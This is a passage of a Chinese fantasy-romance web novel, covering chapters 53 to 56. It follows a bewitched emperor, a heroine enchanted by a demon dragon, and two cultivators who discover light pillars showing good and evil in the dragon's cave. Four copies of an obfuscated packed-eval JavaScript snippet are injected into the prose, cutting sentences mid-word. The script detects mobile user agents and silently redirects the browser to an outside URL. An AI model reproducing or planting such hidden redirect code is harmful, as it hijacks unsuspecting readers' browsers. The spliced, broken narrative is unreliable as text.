浑厚的声音响彻大殿,怒气冲天的声音随之而来:“寡人乃一国之主,出口即是命令,你竟敢藐视尊上,拖下去重打三十大板!” 殿内顿时寂静无比,人人僵立在原地,像被术法暂时定住,随着一声声金属盔甲的摩擦声临近,又一个年纪略大的人出来跪说道:“陛下息怒,左相勤勤恳恳数十年,忠诚无二,绝不会对陛下不敬。” 赵皇帝怒容不减,他指着这人道:“国公,寡人看在你是皇家亲家的份上不与你计较,否则连你一起挨板子!” 求情这人正是三皇子的岳丈,国公府小姐的父亲。 带刀侍卫很快将左相拖了出去,没过多久殿外就传来了凄惨的哀嚎声。 沈宫主、邱宫主和上官宫主互相对视,三人俱是惊诧不已,一时之间,沈宫主脑子已盘算出多种解决方法,但每一种方法都有不妥之处。 应白的话果然应验了,旁人的劝阻知会让赵皇帝凶性大发。 殿外的哀嚎声和殿内的威严之声同时进行,在场一众官员和一派之主皆心内各思。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16823100|188622||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 左相被打的消息很快传遍皇宫,皇后闻言十分不信,再三经人确认才知左相受伤不轻,人已经昏迷过去了。 晚间皇上来后宫喝茶,皇后提出上午之事,说左相一心为国,身体怕受不住板子击打,要亲自去丞相府探望。 赵皇帝闻言大怒,将皇后囚禁于宫中。消息如插了翅膀的飞鸟,不过一盏茶功夫便传遍皇宫上下。 李贤妃、三皇子和三皇子妃纷纷前来探望都被侍卫拒之门外,三皇子欲面见陛下被拦门外。 是夜,邱梧不敢上床睡觉,怕自己又梦见魔龙,受它蛊惑,一有困意便强迫自己清醒,如此反复更觉疲累,一不小心还是在桌上睡着了。 眼前鲜红一片,像有纱幔遮住了视线,若隐若现的明亮烛火在房中扑朔。她掀开头顶这方红帕,细细端详房内景致。 墙上和桌上的囍字亮红夺目,再看自己一身鲜红礼服,邱梧有些恍惚。 喜房,新娘,自己要跟谁成亲? “吱呀”一道声响轻轻打破屋内寂静,邱梧忙把盖头放下,嘴角莫名其妙微微扬起。同样一个身穿喜服的男子正缓缓朝自己走来,用一柄玉如意揭开了面前的盖头。 邱梧的心砰砰直跳,难以言喻的喜悦将自己全部包裹,她顺着这人的身躯缓缓上移,一双温柔四射的棕色眼眸正静静凝望着自己。 “邱梧。”他轻轻开口,眉眼含笑,“我们终于成亲了。” 这个人,这张脸,这双眼。邱梧瞬间忘记了所有,她痴迷地望着他,喜悦道:“是你。你是我的新郎。” 他头低了低,带着无尽的笑意回答她:“是我。”他附在她耳边柔声道:“我喜欢你很久了,我们终于能一起相伴余生,你开心吗?” 邱梧喜极而泣:“开心,我很开心。” 这声音继续:“你想和我在一起吗?” “想,非常想。” “但你还有件事没有完成。”这声音充满魔力,一字一句听入耳中,在心里融化蔓延,浑身仿佛沉浸在巨大的幸福中,忘记了除此以外的所有事情。 “是什么?”邱梧深情看他,即便眼前之人早已恢复了原型,露出两颗金黄的大眼球与她对视,但在邱梧眼中,他还是他。 “你说什么我都答应。” 魔龙笑道:“很好。那你要尽快把容珠解决掉,完成以后,我就会是你的新郎,我们会白头偕老,相伴一生。” 和一个人相守是邱梧心中渴望的梦想,从十五岁初见应白时就已生根,在那之前她还没想过自己需要什么。她是紫阳宫的圣女,内有母亲呵护,父亲疼爱,弟弟照顾,外有先生教授武艺,严肃又不乏关心。 与同龄灵者见面,无论男女都想邀请自己喝茶,切磋武艺,走到哪里她都是被层层花瓣包围住的花//蕊,永远处于中心地位,永远受人喜爱。 无忧无虑四个字对她而言再合适不过。 要非说有什么忧虑,那就是沈宫主总给她安排相亲。邱梧心中腹诽:我并不需要爱情呀。 可认识应白后,她慢慢意识到,不是她太幸福快乐所以不需要爱情,她只是没有遇见一个让自己心动的人。 邱梧眨了下长长的睫毛,似乎和应白相守一生已是既定的事实,她只需要再完成这件事就能更好地享受她的幸福。 她欣慰地笑着,期待道:“好,我会做的。” 54. 秋雨寒 当皇后因要亲自去看望左相而被陛下囚禁一事传遍整个朝荣国后,不少大臣纷纷站出来劝阻皇上。 一人说皇后贤惠仁德,此举完全出于礼节,合乎常理。一人说陛下近来有些反常,或许身体有所不适,应及时传太医来看。 很显然,此人所言触怒了赵皇帝,他正准备以此人诅咒天子为由将他押入牢狱时,又一人开口道:“陛下乃真龙天子,陛下所言就是命令,你不遵从陛下旨意本就有错,竟妄言陛下有恙,实在大逆不道!” 高昂的声音将殿内官员的心一下下提到嗓子眼,所有人都万分震惊地看着第一排右首之人。 此人满脸义愤填膺之色,维护完赵皇帝后又站出来崇敬拜道:“陛下,臣以为李大人不识尊卑,目中无主,应严重处罚!” 赵皇帝满面笑容,原先建议陛下宣太医看病的李大人倍感惊愕,颤抖着手指着前方这人道:“右相,你怎么也糊涂了啊?” 右相不屑一瞥,赵皇帝笑道:“右相深得寡人喜爱,我朝荣国就需要这样忠诚明智之人,若有人以下犯上,寡人必不姑息。” 威严的目光从高处直击座下,“来人,将李大人押入牢狱!” 耳听盔甲之声渐渐临近,上官宫主再也忍不住,迈出左腿就要进言,胳膊猛地被人攥住,上官宫主回头见邱宫主冲他摇头,邱宫主右手边的沈宫主也对他微微摇头,上官宫主眉毛胡子拧成一团,终不动声色收回了左脚。 “冬日快要来了,朝荣国多年没有好好庆祝新年,今年定要大肆操办。”赵皇帝抬眸看了看这四方殿堂,嫌弃道:“堂堂皇宫,这也太简朴了些,金碧辉煌方是天家之姿。” 于是,赵皇帝决定重修宫殿,建造楼台。为了新年更加热闹,于三日后选适龄女子充实后宫,决定加征各地税收,新年上贡礼品需比比往年多一倍。 散朝后,上官宫主气势汹汹道:“陛下到底知不知道他在干什么!” 沈宫主将马车帘拉好,语气严肃:“这些天来,劝谏赵皇帝的人都受到了惩罚,我们要另想他法才是。” 车帘外传来各个大臣怨声载道的声音,有几人相约去左相府探望。这时三皇子从宫内出来,骑马欲去左相府,众人纷纷乘轿跟随。 按说容珠是魔龙蛊惑的第一人,又是当场清醒的人,众人总会下意识认为容珠能知道破解之法,可容珠心里并不认为自己有多大本事,如果没有奚昤的神识她说不定就对邱梧怎么样了呢。 容珠左思右想,猜测道:“想要让陛下恢复如初,要么陛下自己清醒,要么再杀魔龙一次。” 既然是魔龙用了诡计蛊惑了赵皇帝,只要把它杀死,它施加在人身上的魔力应该就消失了,赵皇帝说不定就能清醒。 朝臣用嘴皮子劝谏无用,那他们就去做自己的本职工作,再杀魔龙,绝不让它得逞! 上官琛挥枪道:“母亲,你说何时行动,我随时冲锋!” “魔龙在暗,我们想杀它就得去海底洞穴。”沈宫主思索着,“海底不利于我们作战,我们需想办法把魔龙引出来。” 邱梧目光一动,缓缓移向容珠,慢条斯理道:“容珠,那魔龙看在奚昤的份上也敬你两分,不如就由你去把它引出来吧?” 应白抬眼看向邱梧。 容珠没多想,心觉有理,不过那魔龙也不傻,她突兀前去它的洞穴,定会引起它的警觉,该怎么把它引出来呢? “我的剑可以在水下飞行,到时候我和你一起。” 不知是堂内太过寂静还是她太久没听应白主动和自己说话,容珠颇感意外,她对上应白投来的目光,心中有些许雀跃。 和师父一起作战,她怎会不喜欢? “嗯。” 她的回答让应白暗暗松了口气。 邱梧一直盯着容珠,不过眼下众人都在讨论重要的事,没人注意别的。 听应白和容珠有了办法,沈宫主提议:“虽说魔龙曾被我们杀死过好几次,但依然不可掉以轻心,我们就在海上那座山处等候,我们四人合力结印,待魔龙一出就将它封在原地,阿琛和邱梧随后诛杀。” 沈宫主说的四人是她、邱宫主、上官宫主和顾寄章。 当初为了对付魔龙,他们四人聚在一起特地研究了一个结印之法,后来因在对付魔龙时总免不了突发事件,四人还没正儿八经施过这个法印。 初步计划就先这么定下了,出门后,容珠还在思索怎么样能把魔龙从洞内引出,余光瞥见应白的衣角在自己身旁,她瞅了眼应白的步子,悄悄放慢了自己脚步。 这期间,上官琛一直在嘟囔:“我真是想不明白,陛下可是天子啊,怎么会被魔龙蛊惑呢!他到底知不知道自己在干什么?” 邱梧压了压他暴躁的胳膊,耐心道:“人无完人,更何况魔龙是妖魔,它让人怎样有几人有能力违抗它?一经魔龙蛊惑,心里头的素质就瓦解了,那些想做却心知不能这么做的事全都没了顾虑。” “哼!”上官琛不屑道:“既知这么做不对怎么受点蛊惑就变了心智?要是魔龙想蛊惑我,我还不信能被它怎么样呢!” 邱梧一愣,忽然顿住步子,呆立在原地。容珠在后面差点要撞上她,见她停步不前,上前奇道:“邱梧,你怎么了?” 不知怎的,邱梧一听见容珠的声音心里就升起一股愤愤之气,眼前恍惚间飘过一条黑亮的影子,好像有什么事情被自己忘记了,她抓着一条线索想去追寻,但的确想不起发生了什么事。 她注视着容珠的面容,心知她出于好意,可自己却觉得她很讨厌。 如果容珠没有出现在应白的人生中,应白是不是就会喜欢自己?他很优秀,自己也不差,如果再多些时日相处,他未必不会对自己有情。 就因为容珠无意间救了应白就能得到他的喜欢,那如果这个人是自己呢? 自己与应白年少相识,又怎是一个后来者可以比的? 邱梧不禁被这些想法吓了一跳,她怎么能这么想容珠?她怎么能如此狭隘得看待感情? 她暗暗在袖里掐了一下虎口,制止了自己的可怕想法,对容珠笑道:“我没事。” 心口不一的情绪再度袭来,邱梧打算回去静心打坐,好好调整。 上官琛以为邱梧的反常是因自己刚刚又口无遮拦,惹邱梧头痛了,于是跟在后面不停道:“阿姐,我说错话了,我不应该言语上对陛下不敬,我再不这样说了。” 一声闷雷突兀响起,天空不知何时变得阴沉无比,豆大的雨点说下就下,令人毫无防备。 “下雨了。”应白走到廊边看着不远处被雨点打得乱晃的树叶,眸中充满光亮,“这里离屋子有段距离,雨势太大 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16828750|188622||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,看来我们得在此处避避雨。” 干燥的地面不一会儿就水渍渍的,泥土气味充斥着整个鼻腔,容珠灵机一动,“师父,我现在能设屏障了,虽然不怎么坚固,但避避雨还是可以的。” 她两手在胸前一划,淡黄色的灵力在掌中浮现,一个透明屏障从二人头顶如纸伞般扩展,慢慢将二人周身围住。 这种屏障既不影响走路,也不影响观景,此刻用再合适不过了,不然这么大的雨即便打伞,下摆肯定也湿了。 应白眉眼含笑,“这法子不错。” 俗话说一场秋雨一场寒。容珠不喜欢冬天,一是因为她不喜冷,二是冬天对她来讲有不好的记忆。 她的母亲是在冬天去世的,也是在某一年冬天,她在门口无意间听到师兄们对她的嘲笑。 不过这些都过去了不是吗?今时非往日之景,她亦非当年的容珠。 不日便要去击杀魔龙,容珠想到此处抬眸问:“师父,我们要怎么把魔龙引出来?” 应白不知在想什么,眼角好似藏着笑意,闻听容珠之言,他垂眸想了片刻说:“我们贸然去它洞穴定会引起它的警惕,且上次还把它的洞穴结界给破坏了,我想这一次应不太好进。” “师父,你上次有没有注意到海屏障就在魔龙洞穴旁?”容珠当时问魔龙那是什么,魔龙说天机不可泄露,这意思不就是说魔龙知道么。 那海屏障跟魔龙到底有什么关系? “我看到了。”应白回想那日情景,“你有没有意识到一件事?” 容珠止步听他讲。 “按照魔龙的意思,世间规律是善与恶并存,不管哪一方面太过强盛都会引发世间祸乱,那海屏障的存在不就是错误的吗? “朝荣国人人心存善意,互相谦让,互相帮助,而我们的世界强者为尊,人分高低贵贱。海屏障将善与恶彻底分开,违背了天道,当初又是谁如此有能力设下海屏障呢?这不是在与天道作对?” 海屏障之宽广肉眼可见,它让两个世界的人都不知道世上还有另一个世界,且不是所有人都能看见海屏障,如此奇妙浩瀚非人力所能做到。 容珠默默点头:“我总觉得魔龙洞穴里藏着秘密。” 那天他们从上官宫主的《神妖录》中得知奚昤和苍望的身份后,她就说过魔龙洞穴中就有奚昤和苍望的雕像。 当时魔龙亲口说女雕像是奚昤,以此推断,那男雕像定是苍望了。她不敢确定魔龙真的不是妖魔,有许多地方理不清,太多东西不知道。 但是眼前最关键的问题是如何让陛下意识到自己在仁政的岔路上越走越远。在搞不清解决方法前,只好先把罪魁祸首魔龙解决掉。 “其实倒也不用刻意将它引出来。”应白将手指伸出屏障外触摸雨滴,冰凉的雨水很快打湿了掌心,在其中积了一小滩雨水,应白将乘着雨水的手掌递到容珠面前,雨水顺着指缝一滴滴往下流淌。 “龙掌雨水,入秋以来朝荣国没怎么下过秋雨,这一场雨又急又大,我看得下个两三天。” 应白将手掌一歪,手心里所剩不多的雨水也都洒在地上,容珠有些疑惑地望了望天,乌云厚重,将天空捂得透不过气。 她想起了《神妖录》最后一页关于一条龙的记载,有些不敢相信道:“你是说,魔龙此刻正在天上降雨?” 55. 天道柱 这场雨一连下了三天,每日的朝拜依旧雷打不动,沈宫主本想等雨停再去与魔龙作战,但听应白的建议后决定这就出发。 上官琛对魔龙在天上降雨一事十分不信,“它可是妖啊,怎会行水神之事?” 春夏秋冬四季交替,刮风下雨十分正常,但凡遇见干旱或洪涝现象,陛下一定会命天师设祭坛祷告祈福。 祈求神灵护佑是每个人下意识认为的事,上官琛也不例外,他想当然把风雨雷电现象归结为天上神灵的职责,若有人告诉他其实下雨一事归龙所管他也能接受,可这龙绝不是危害朝荣国的那条死泥鳅! 应白微微一笑:“这只是目前的猜测,魔龙会喷火吃人也会蛊惑人心,谁知道它还有什么本事?在没有完全了解敌人的情况下,要通过五感来推断事实,不能掺杂个人情感。” “此话有理。”顾寄章的声音深沉厚重,完全盖过了外头的大雨声。 “魔龙害人不假,《神妖录》也白纸黑字说龙主雨水,未确认就否决岂不让个人情绪干扰了判断力。” 一般情况下,若上官宫主在场,顾寄章是不会批评上官琛什么的。从前上官宫主因沈宫主另找师父一事和她拌嘴多次。 上官宫主说何须再找师父,他本就是上官琛的父亲,直接让他传授知识,教习练武就行,但沈宫主却直言以他的性格定会宠坏上官琛。 因为此事,上官宫主每次见到顾寄章总有那么一点不搭理人的感觉,两人虽然从未起过冲突,看似以朋友相处,但也没一起说过几句话。 此刻顾寄章之所以出言指出上官琛的问题是因为他一向喜欢站在中正的立场去看待问题,而应白刚才所言正符合他的观点,他开口说话是下意识的反应。 再者,他既是上官琛的师父也有责任培养上官琛,魔龙一事似乎并不仅仅是妖魔作乱人间这么简单。 所以在事情扑朔迷离的情况下,就更应该理性看待问题。 当顾寄章提醒完上官琛后,上官宫主一手握着茶杯抵在嘴边啜茶,一边斜眼瞅顾寄章,心道一声“切”,顺带看了眼沈宫主的态度。 沈宫主很是赞同地“嗯”了一声,随后道:“我们这就去天上找魔龙。” 容珠把和应白的商量对策说了出来:“天的范围太广,满天找魔龙也是不现实的事,我们会先去海底洞穴看看它是否在洞中,到时候给各位传信。” “既如此,事不宜迟,这就出发吧。” 连日的雨水让紫阳宫内的几片小湖泊都涨了水位,飞流直下的瀑布比往日添了几分汹涌,隆隆的水声与雨声混在一起嘈杂无比。 众人都在自个儿周身设了虚虚一道避雨屏障,像沈宫主这等灵阶之人,设出来的屏障几乎肉眼看不见。 屏障越透明越能说明灵力之高,邱梧和上官琛的屏障带着淡淡一层色彩,就像置身在彩色泡泡中轻盈梦幻。 容珠将自己和应白围了起来,邱梧暗暗跟在二人身后。 对容珠的讨厌之情挥之不去,她心内烦躁得很,她不知道自己怎么了,静心打坐多少遍也不管用,反而越来越着急想要对容珠做什么事。 一盏茶后,众人来到了崖海上空。按照计划,容珠和应白先潜入海底的魔龙洞穴一探究竟,其余人则在崖海之山埋伏。 入海后,她从应白手中接过他的佩剑用灵力将其放大到合适尺寸,镶嵌在剑柄处的水怪精丹遇水以后散发着幽亮光芒,不停抖动想在水中游行。 二人一左一右握住放大后的剑柄,在海底飞快穿梭。 长剑穿过一大片海草聚集地,转过一个极像圆球的礁石,再穿过一大片粉红色和白色的珊瑚群,再一直往深处直行便能看到一个散发着萤蓝光芒的屏障在海底隐隐闪动。 就在这时,两人隐约感到一阵水流激涌,迎面有一庞大鱼群呼啸而过,容珠只觉一道乌黑散影从身后划过,紧接着便被一股又急又强的水流冲击,身子一下子冲出去好远。 她紧紧抱着剑柄,头晕目眩的感觉让她难受不已,又一阵痛感从屁股袭来,她“哎呦”一声。 “容珠,你怎么样?” 容珠睁眼便觉天旋地转,应白的声音传入头脑她一时之间还未缓过劲来。 “这是……”刚一出口她惊奇地发现自己竟然能在海底说话!不过很快她就反应过来在海里是不可能说话的,除非…… 气势十足的宫殿巍峨屹立在她眼前,萤蓝色的屏障在她身后,这里是魔龙洞穴,他们是怎么进来的? 应白显然也发现了异常,他走到萤蓝色的屏障前伸出手摸了摸,手能穿过屏障触摸到外面的海水,冰冰凉凉。 他们不知道为什么不必破开屏障就能进来,倒省了他们的力气,本应是件好事,可是开始便这么顺利总让人心中忐忑。 “走。”应白和容珠慢慢走入大门,进入殿中。 若干火把将殿内照得亮一块,暗一块,洞穴高不见顶,越往高处光芒越弱,宽广的空间几乎能容纳几百人,但若站在魔龙的角度看,这就是座适合它生活的洞穴而已。 越往里走,奚昤和苍望的雕像越来越明显,他们二人没有容貌,高大又神圣地站在石台上,两边的火把将他们的身形映照在地上无限拉长。 从《神妖录》中确认过他们的身份后,容珠再次看这两尊雕像时,好奇、敬畏、震撼、惊叹从心底油然而生。 他们是神啊,开天辟地后诞生的第一批神尊,即便眼前的他们只是石头砌成的泥像,也不能泯灭其中浑然天成的庄严神圣。 随后,她的目光落在雕像旁的光柱上。 “师父,你看那。”容珠指了指奚昤和苍望雕像旁的光柱,“魔龙说这两道光柱代表的是两个世界的天道现状。” “天道……”应白缓缓注视着两道光柱, 奚昤神尊身旁的光柱里白色光芒占了八成,却略显黯淡,黑色光芒只有两成,却闪耀着无比黑亮的光。 苍望神尊旁边的光柱是黑色光芒占据九成,仅有的一点白 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16828751|188622||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 光弱小得仿佛随时都能被吞噬。 应白的目光在两道光柱之间来回观察。 “盘古开天辟地后,天地间诞生了两位神,一位女神叫奚昤,掌管世间善与爱,一位男神叫苍望,掌管世间恶与恨。” 应白将《神妖录》中记载奚昤和苍望的内容背了下来。不知在想什么,他朝苍望身旁那道光柱慢慢走去。 “善与恶,爱与恨是互相对立的东西,就像这黑白两道光芒。”应白走到光柱前,黑色的光芒映在他身上,周身似被黑暗吞噬,整个人仿佛在一瞬间变得了无生气,死气沉沉。 “师父。”容珠有些担心地呼唤他,想从他的神情或是言语中得知他并没有事。 应白好像没听见,他虽然目光熠熠,却一直在盯着黑色光芒,仿佛聚精会神般认真,又仿佛灵魂出窍般呆滞。 他微微弯腰,整张脸几乎凑到黑色光芒前,眼前泼墨般的浓厚黑云层层消失,渐渐有画面清晰地显露出来。 一个高耸入云,富丽堂皇的精致宫殿出现在眼前,它位居高山之上,势要与天同齐,一砖一瓦皆彰显着无与伦比的奢侈和精美。这是应白再熟悉不过的地方——圣灵宫。 紧接着,熟悉的人物接连登场,先是万初,他在蒲团上打坐修炼,地上有一只青鸟在啄米吃,而应白只是眨了下眼想看得清楚一点万初在干什么,画面就变了。 眼前是一个蓬头垢面的人物,身穿一身破烂衣物,在一个看似精美舒适的房间里疯癫地指着谁在张嘴大骂,即便他如此狰狞狼狈,应白还是能一眼认出他是谷嵩圣灵。他怎么会成这个样子? 应白未及深思,眼前画面又是一转,一身紫衣的左舒圣灵正扼住一名白衣婢女的喉咙在吸食她的精气。 接下来,静立原地的金闻,满脸是血的尤鸣…… 应白双眉越蹙越紧,他所看到的都是什么?为什么会有这样的画面? 随后,更加陌生的画面接踵而至:人们为争夺某物而互相残杀、修炼成名后弑母杀妻、被殴打的摊贩、被围攻的民女、偷窃、谩骂、杀人、欺辱,所看到的不是刀剑便是拳脚,数个残忍血腥的场景让人如坠冰窟,胆颤心惊。 这些画面似乎没有尽头,人与人之间的恶行似乎没有极点。 应白闭目起身不准备再看下去了,刚一动就感觉几缕发丝拂过他的下巴。 他低头瞧见容珠的脑袋不知何时凑了进去,黑色光芒里的场景想必她也看到了。 “难道这里面的场景是在预知未来?”除此之外,应白想不通针对种种怪异之处还能作何解释。 容珠转念一想:“既然黑色光芒里能看到东西,那白色光芒应该也能看见东西。” 说罢她蹲了下来,将脸凑到弱小的白光前,层层白云渐渐消散后,一个四方院落平地出现。 容珠很快意识到这是哪里,刚觉惊奇,便从一扇窗后看到一个熟悉的背影。 容珠面露喜悦,抬头招呼应白:“师父快看,是你母亲。” 56. 吓吓你 应白暂且抛下正在思考的问题,蹲身和容珠一起看白光里的景象。 应夫人正在整理衣物,衣衫裤子零零散散平铺在床上,一眼看去都是小孩子穿的,有些褪色了,带着时间的久远,每整理一件都要抚摸良久再把它叠起。 容珠记得当时离开东林山,她随应白回家,应夫人看到应白时就是这种目光。 “这些都是我母亲自己缝制的。”应白的声音低低沉沉,平静又仿佛涌动着无限情绪。 “好可爱。”容珠暖暖笑着,小时候母亲也会给她缝制小衣,缝的人满面笑容,穿的人温暖开心。但容珠清楚地记得有一段记忆是她不要穿母亲缝制的丑衣服,她想要另外一件华丽名贵的衣裙。 其实那件衣服一点都不丑,只因为布料不够高贵所以她不喜欢,她在心底叹了一声,怎么自己小时候这么不懂事呢? 正这样想着,画面如云被风吹散了,接连几个场景都是温馨快乐的,虽然不认识场景里的人,但从他们的表情和动作中也能知道他们的心情。 “这是发生在我们世界里的事吗?”容珠目不转睛地看着眼前景象。 应白已经明白了天道柱的奥秘,“黑色光芒代表着世界恶的一面,白色光芒代表的是爱的一面。这道柱子就是我们所在世界的天道现状。” 好像一下子通透了,黑色光芒占据这么大范围正说明这个世界黑暗得可怕,虽然这点白色光芒被压迫得几乎喘不过气,不过若世界上还有充满爱的人存在,哪怕是一人,想必这白光也会继续闪闪发亮,不会消失。 既然这道光柱代表的是他们的世界,那奚昤那边的光柱代表的定是朝荣国了。 正沉浸在自己的思绪中,应白温和的声音在耳边响起:“容珠,是你表妹。” 表妹?容檀? 容檀怎么会出现在白光中? 她伸头去看,果见一袭华衣的容檀正在低头吃碗里的东西,旁边坐着叔叔容江,父女俩看起来其乐融融。 在容珠印象中,容檀的笑多半是自豪和骄傲,要么就是嘲笑和不屑,像这种会心的笑,容珠从未见过。 又闪过几个画面后眼前的一切被白云遮盖起来,容珠心道看来有关真情实意的事没有了。她突然意识到进洞这么久都没看见魔龙那它一定不在洞里。 “师父,我给沈宫主写信告诉他们洞内情况。”容珠从怀中掏出一片树叶,这是她在出发前摘的,是最近跟应白新学的技能。 先将些许灵力灌入叶中让它成为一片不普通的叶子,再把要传达的信息写入叶中,叶子会跟施术者心意相通,飞往正确的地方。 完成这些后,二人正准备再观察些别的,眼角余光看到白色光芒又有变化,二人定睛去看,这一看,容珠看到了曾经日思夜想,梦里也不得相见的人。 画面中,一男一女领着一个小女孩在花园里玩耍,容珠最先看见的是那个笑得特别开心的小女孩,她并不认识她,但她认识那个男人,这个男人是自己的父亲,那女人…… “怎么会……”容珠喃喃道,出口的瞬间鼻头一酸,“娘亲……是我娘亲。” 母亲的容貌在容珠的记忆里早已模糊了,她不知道自己有多少次做梦都想梦到母亲,可遗憾的是,在梦中,母亲要么只是个背影,要么看不见她的脸,何曾想到,今时今日能如此清晰真切地看到母亲的面容。 那这个笑得开心的小女孩便是自己了。 这段情节容珠稍有印象,也是模糊不堪,有的时候连她自己都不确定有些记忆究竟是真实发生的还是自己想象出来的。 画面中的她不过五六岁,那个时候不需要修炼,每日也就是读书写字,吃饭玩乐,父母健在,没有烦恼,当真是再纯粹不过的生活了。 白光每闪烁一次,就有一个全新的画面出来,这些画面都是幼时的容珠和父亲母亲相处的画面,有些画面是真切存在于容珠记忆里的,她欣喜道:“这都是过去的事,这白光还能看到这些?” 从第一个画面出来时,应白最先注意到的是容山,因为他当年拜访过清凌门见过容山,知道他的样貌,而当时的容珠也才十岁,画面中的小女孩脸庞更稚嫩更可爱,显然年龄要小一些,不过跟容珠还是很像的。 他沉吟思索后猜测道:“或许,这里面映照的是过去和现在的美好事物吧。” 从前容珠哪里知道跟父母在一起的时光是这个世界最难得之物,也是她后来再不会经历的亲情。 这些画面越看越思念,越看越悲伤,她默默流着一颗颗眼泪,努力把每一个场景印刻在脑海中。 应白早就注意到容珠的情绪,一看见她的泪水,眼里心里便只有她,情不自禁想伸手擦掉,又忽然想起那日之事,连忙把手缩回。 白光中的云层再一次聚起又散开,令应白没想到的是,接下来出现的场景是母亲教幼时的自己认字写字的画面。 容珠看到了小时候的师父,拜师的师父,学艺的师父,他的容貌随年龄的增长慢慢变化,直到十几岁,与现在的容貌很是相像。 她惊奇惊喜,心道这光柱可是个大宝贝,不仅让她再次目睹娘亲的姿容还能看到师父小时候的模样。 这是一种奇怪的感觉,明明是一个人,但少时的应白与此刻的应白并不相同,即便知道画面中的少年就是应白,可容珠心底还是会觉得陌生。 “好了,别看了,让你见笑。”应白的声调有些局促也有些柔情,他此刻垂着眸子,嘴角挂着若有若无的笑。 若说容貌,他与年少时并未差多少,可若论眉宇间的神情又完完全全是两个人。 容珠歪头朝应白一笑:“师父,你看过我小时候的样子,我也看过你小时候的样子,我又不是外人,何来见笑一说?” 话一出口容珠有些后悔,说自己不是外人未免有些自恋,她只是应白的徒弟,徒弟虽说不算什么外人,但也没那么亲密。 应白眼睛亮亮地看着她,心头一热,“你说得对,我们一同经历过多次生死,当然不是外人。” 得知他不介意自己说的话,容珠心中本有些开心,但因白光范围小,他俩本就蹲得近,对方说话的气息轻轻挠过她额间, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16833101|188622||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 酥酥麻麻的,又牵出一股羞色,容珠只觉不好意思看他,只好装模做样继续看白光内的景象,可这一看,心中的欢喜一下子被吓得烟消云散。 白光内的景象是个夜晚,画面中有两个人,地上躺着一个,旁边跪坐着一个。躺着的是一身黑衣的应白,跪坐的是一身粉衣的她。 这身粉衣是圣灵宫婢女的衣服,是她当时为了逃跑把一个婢女打晕偷穿来的。 她圆睁着眸子看着画面中的自己正双手捧着应白双颊,头慢慢向他靠近…… 心底的秘密仿佛被慢慢揭开,心知接下来要发生的事,她浑身一激灵,慌忙回头朝应白大声喊:“不能看!” 她连说带动作,直直将应白扑在地上,应白的后脑与地面相碰的一瞬间发出了不小的声音,可应白脸上没有吃痛的表情,反而布满疑惑看着突然将自己压倒的容珠。 “怎么了?什么不能看?”应白声音略带关切,他刚才在白光里瞥见了一抹粉影,依稀是个姑娘,这粉衣有点熟悉,不过他还没来得及细想就被容珠扑倒。 此刻容珠的眼中分明透露着惊恐和慌张,他侧身起来,目光再一次落在白光中想知道究竟是何画面。 容珠连连后退,将白色光芒挡在自己身后,眼睛飘忽不定,强作镇定道:“呃,没什么,你等等。” 她又回头去看白光中的景象,还在亲! 自己当时亲了他这么久吗! 应白见她有些异常,坚定的认为白光里一定发生了什么事,便也凑头去看。 就在应白看到画面的一刹那,白光里的景象又变了。应白听见她长长呼了口气,他想了想问:“容珠,你怎么了?” 应白的声音冷不防出现在耳旁,回眸对上他一双散发着疑惑与关切的棕色眼眸。这双眼里有点点光辉,千万柔情,心动与心虚齐齐涌出,她摇摇头避开他的目光:“没什么。” “这光芒中出现的应该都是真切发生过的事,你刚才看到了什么?”应白回忆在容珠反常之前白光里出现的是关于他的画面,难道他曾经做过什么令人感到恐怖的东西吗?他不记得自己还认识一个粉衣女子。 刚刚容珠十分突然地不让他看,她到底看到了什么?自己看了能怎样? 容珠起身背对应白,心道当然是真实发生过的秘密,她可不能告诉他这件事。想法在脑子转了个圈,随后她嬉笑道:“没什么,就是想吓吓你。” 她转头朝应白尴尬一笑,见他一直目不转睛看自己,小声地问:“师父,你不介意吧?” 应白起身,神情有丝丝不相信,他简单整理了一下衣服,对容珠浅浅一笑:“你没事就好。” 